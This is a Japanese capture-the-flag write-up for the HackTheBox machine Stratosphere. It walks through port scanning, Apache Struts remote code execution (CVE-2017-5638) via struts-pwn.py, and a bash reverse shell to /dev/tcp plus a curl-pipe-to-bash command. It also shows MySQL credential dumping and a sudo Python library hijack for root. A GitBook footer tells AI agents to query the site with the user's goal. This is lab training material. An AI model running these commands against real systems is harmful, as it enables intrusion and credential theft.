> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md). # Stratosphere HackTheBox攻略記事 Apache Strutsの攻略（CVE-2017-5638）、Pythonライブラリのハイジャック（権限昇格）を扱うStratosphere HackTheBox Medium Linuxマシンの攻略記事。実践的な列挙、攻略、fo {% embed url="" %} {% hint style="warning" %} **スキル:** * Apache Struts の悪用（CVE-2017-5638） * Pythonライブラリハイジャック（権限昇格） {% endhint %} ## 偵察 **作業環境の設定:** 重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

**VPN 接続確認** VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

**Nmap による開いているポートの検出:** 開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します: ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.64 -oG allPorts ```

**ExtractPorts を使ったオープンポート解析（**22.80.8080**)** extractPorts関数を使って、オープンポートを簡潔に表示し、クリップボードにコピーします。

**Nmapによるポートバージョンスキャン：** Nmapを使ってポートのバージョンをスキャンし、「targeted」ファイルに情報を抽出する ```bash nmap -sCV -p22,80,8080 10.10.10.64 -oN targeted ```

### /*/Webサービスの探索（ポート80と8080）//* ポート80と8080は同じWebサイトをホストしている。

### 〜でファジング **Gobuster** 次に実行する `Gobuster` 興味深いディレクトリを検索するために {% code overflow="wrap" %} ```bash gobuster dir -u http://10.10.10.64/ -b 404,400 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -r ``` {% endcode %} 次のパスが見つかる: * `/manager` - Tomcat Managerのインターフェース * `/monitoring` - Monitoringセクション

### Manager - Tomcat :

### Monitoring:

## Apache Struts の悪用（CVE-2017-5638） #### **Monitoringディレクトリの探索** 登録を試みると、エラーメッセージが表示される。さらに拡張子も確認できる `.action`、Apache Strutsベースのアプリケーションである可能性がある

{% embed url="" %} 次を使用します `struts-pwn.py` リモートコマンド実行をテストするために: ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'id' ``` コマンドは動作し、脆弱性が確認できる。

#### **リバースシェル** 1. Netcatで待ち受け: ```bash nc -nvlp 443 ``` 2. 作成する `index.html` リバースシェルを含むファイル: ``` #!/bin/bash bash -i >& /dev/tcp/10.10.14.69/443 0>&1 ``` 3. PythonのWebサーバーでファイルをホストする: ``` python3 -m http.server 8080 ``` 4. エクスプロイト経由でリバースシェルを実行する: {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'curl http://10.10.14.69:8080 | bash' ``` {% endcode %} 残念ながら、この方法は失敗する。 ### **機密情報の抽出** サーバー上のファイルを一覧表示する:

次のものが見つかる: `db_connect` ファイル。これを取得すると、認証情報が得られる: {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'ls -l' ``` {% endcode %}

MySQLの認証情報から回収した情報: {% code overflow="wrap" %} ```bash python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Register.action -c 'cat db_connect' ``` {% endcode %} * user: ssn/\_admin / admin * pass=AWs64\@on/\*& / admin

### 抽出情報 - mysqlshow #### **データベースの列挙** 次を使用します `mysqlshow` ユーザーでアクセス可能なデータベースを一覧表示するために `admin` Strutsの脆弱性を悪用して、〜経由で `struts-pwn.py`: {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin" ``` {% endcode %}

これにより、データベースを特定できる **users**. #### **テーブルの要約** 次に、ベースからテーブルを一覧表示する **users**: {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users ``` {% endcode %}

#### **カラムの列挙と認証情報の抽出** ここで、テーブルのカラムを一覧表示する **accounts** そして、その内容を抽出してみる {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c "mysqlshow -u admin -padmin users accounts" ``` {% endcode %}

次の情報が得られる: * **ユーザー名**: `richard` * **パスワード**: `9tc*rhKuG5TyXvUJOrE^5CK7k` {% code overflow="wrap" %} ```bash python struts-pwn.py -u "http://10.10.10.64/Monitoring/example/Register.action" -c 'mysql -u admin -padmin -e "Select * from accounts" users' ``` {% endcode %}

見つかった情報を使って、対象マシンのSSHに接続する: ```bash ssh richard@10.10.10.64 ```

### フラグ user.txt :)

## 権限昇格 ### Pythonライブラリハイジャックによる権限昇格まず、次のコマンドを実行して一覧表示する `sudo` 権限:

Pythonスクリプトを次の権限で実行できることがわかる `root`: ```bash (ALL) NOPASSWD: /usr/bin/python3.7 /home/richard/test.py ```

解析すると `/home/richard/test.py` スクリプトは、絶対パスを指定せずにモジュールをインポートしていることがわかる。例えば: ``` import os os.system("bash") ``` 次に、スクリプトを次の権限で実行する `root`: ```bash sudo /usr/bin/python3.7 /home/richard/test.py ``` * スクリプトが起動すると、悪意あるバージョンの `hashlib.py` が読み込まれ、シェルが〜で実行される `root` 権限。

### root.txt フラグ :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/stratosphere-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.